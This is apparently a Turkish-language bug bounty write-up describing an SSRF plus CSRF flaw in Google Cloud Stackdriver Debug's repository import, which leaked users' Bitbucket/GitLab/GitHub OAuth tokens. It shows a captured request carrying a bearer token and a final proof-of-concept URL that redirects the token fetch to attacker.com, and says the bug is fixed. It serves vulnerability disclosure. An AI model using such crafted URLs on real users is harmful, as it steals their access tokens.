Bu harika blog yazısını okuduktan sonra GAE’yi test etme süreci sırasında, Google Cloud Platform Stackdriver’da bir hata ayıklama uygulaması buldum; kullanıcı, kaynak kodunu uygulamaya aktararak kodlarında hata ayıklayabilir. Kullanıcı burayı okuduktan sonra kaynak kodunu Github, Gitlab veya Bitbucket’ten içe aktarmayı ve Stackdriver Debug sayfasındaki koddaki hataları doğrudan ayıklamayı seçebilir.
Üçüncü taraf uygulamalarla entegrasyonun, eğer doğru şekilde entegre edilmezlerse sorunlu olduğu kanıtlanmıştır; bu özelliği test etme sürecinde özel bir SSRF sınıfı buldum.
Bu durumda bunu nasıl yaptıklarına bir göz atalım.
Dağıtılmış mevcut bir uygulama motoru uygulaması varsa, https://console.cloud.google.com/debug adresinde kaynak kodunu bu hata ayıklama uygulamasına aktarmanın birden fazla yolu olduğunu görebilirsiniz.
Bitbucket’te Kaynak Seç’e tıklamak, Google’ın bu uygulamada oauth jetonunu saklamasına izin verirseniz bize bir izin sayfası gösterecektir.
Oauth ekranında yetkilendirme yapıldıktan sonra kullanıcı tekrar Google’a yönlendirilir ve kullanıcıya bitbucket/gitlab/github’ın repo ayrıntıları sunulur.
Şu ana kadar her şey güvenli görünüyor, yönlendirme_uri değiştirilemiyor, durum parametresi doğru kullanılıyor. Peki Google aslında depoların listesini ve şube adlarını nasıl getiriyor? Bu iki istekte bunu yaptıkları ortaya çıktı.
Bitbucket/gitlab/github’daki repoyu listele
https://console.cloud.google.com/m/clouddiag/debug/v2/gitlab/list?pid=groovy-plating-250224Bitbucket/gitlab/github’daki şubeyi listeleyin
https://console.cloud.google.com/m/clouddiag/debug/v2/gitlab/resourcelist?pid=groovy-plating-250224&url=https%3A%2F%2Fgitlab.com%2Fapi%2Fv4%2Fprojects%2Fprojectid%252Fproject-one%2Frepository%2Ftagsİkinci istekte, url’nin kodu çözülmüş sürümü şu şekildedir:
https://console.cloud.google.com/m/clouddiag/debug/v2/gitlab/resourcelist?pid=groovy-plating-250224&url=https://gitlab.com/api/v4/projects/projectid/project-one/repository/tagsOrada bir şey olduğunu görebiliriz URL Sorgu kısmındaki parametreyi https://gitlab.com yerine https://xxxxxx.burpcollaborator.net ile değiştirdim ve herhangi bir SSRF korumasının olup olmadığını anlamaya çalıştım ve şaşırtıcı bir şekilde hiçbiri yoktu.
Daha da şaşırtıcı olanı, Burp Collaborator’dan gelen SSRF talebinde başka bir şey daha vardı.
GET /?per_page=100 HTTP/1.1
Host: evdjffp55g27sbbipe7uqzx1tszin7.burpcollaborator.net
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Bearer 123bcad14289c8a9d3İstek, Bitbucket erişim belirtecini içeren Yetkilendirme başlığıyla birlikte gelir. Düşündüğümde, API uç noktalarından kişisel bilgi talep ettiği için SSRF isteğiyle birlikte erişim jetonunu da göndermek mantıklı geliyor, Google’ın kullanıcının erişim jetonu olmadan bunu yapması mümkün değil.
Artık kaynak kodunu içe aktarmak için üçüncü taraf uygulamalarla nasıl entegre olduklarını ve ayrıca Google’ın farklı API uç noktalarından kaynakları (dal adları, etiketler vb.) nasıl getirdiğini net bir şekilde anlıyoruz.
Bu bizi, kullanıcının erişim belirtecini belirttiğimiz isteğe bağlı URL’ye gönderen bu SSRF’den yararlanmaya çalışan son adıma götürür. Fikir basittir, çünkü istek POST isteği yerine yalnızca bir GET isteğidir, eğer son kullanıcıyı GET istekleri için CSRF’den korumuyorlarsa, o zaman kullanıcıya yararlanma URL’sini göndeririz ve Google’dan SSRF’yi bekleriz. kurbanın erişim jetonunu bize göndermek için.
Neyse ki istekte CSRF başlığı yok, ancak yine de bu hatadan yararlanmamızı engelleyebilecek birkaç potansiyel başlık var. X-pan-versionid, X-Goog-Request-Log-Data’ları var ve Yönlendiren https://console.cloud.google.com/, eğer arka uçtan bu başlıkların ayarlanması gerektiğini ve yönlendiren alan adını kontrol ediyorlarsa SSRF isteğini yapmadan önce console.cloud.google.com ile eşleşmelidir, bu durumda bu durumdan yararlanılamaz. Neyse ki arka uçta böyle bir doğrulama yok.
Sonuç olarak, bu hatadan yararlanmak için, saldırganın HTTPS isteğini dinleyen bir sunucuya, örneğin burp işbirlikçisine ihtiyacı olacak ve hazırlanmış URL’yi Stackdriver’a bağlı bitbucket/gitlab/github’a sahip kurbana göndermesi gerekecek, ardından saldırgan bu URL’yi çalabilecektir. kurbanın Google’dan gelen SSRF isteğindeki erişim jetonu.
Nihai PoC:
https://console.cloud.google.com/m/clouddiag/debug/v2/gitlab/resourcelist?pid=groovy-plating-250224&url=https%3A%2F%2fattacker.com%2Fstealing.jsonUmarım bu yazıyı okumaktan hoşlanırsınız, Google bunu şimdi düzeltti, her ne kadar düzeltme mükemmel bir düzeltme olmasa da, hala mevcut doğrulamayı atlayamıyorum, eğer ilgileniyorsanız, bir göz atın ve https://g adresine rapor verin. co/vulnz eğer onu atlatmayı başardıysanız!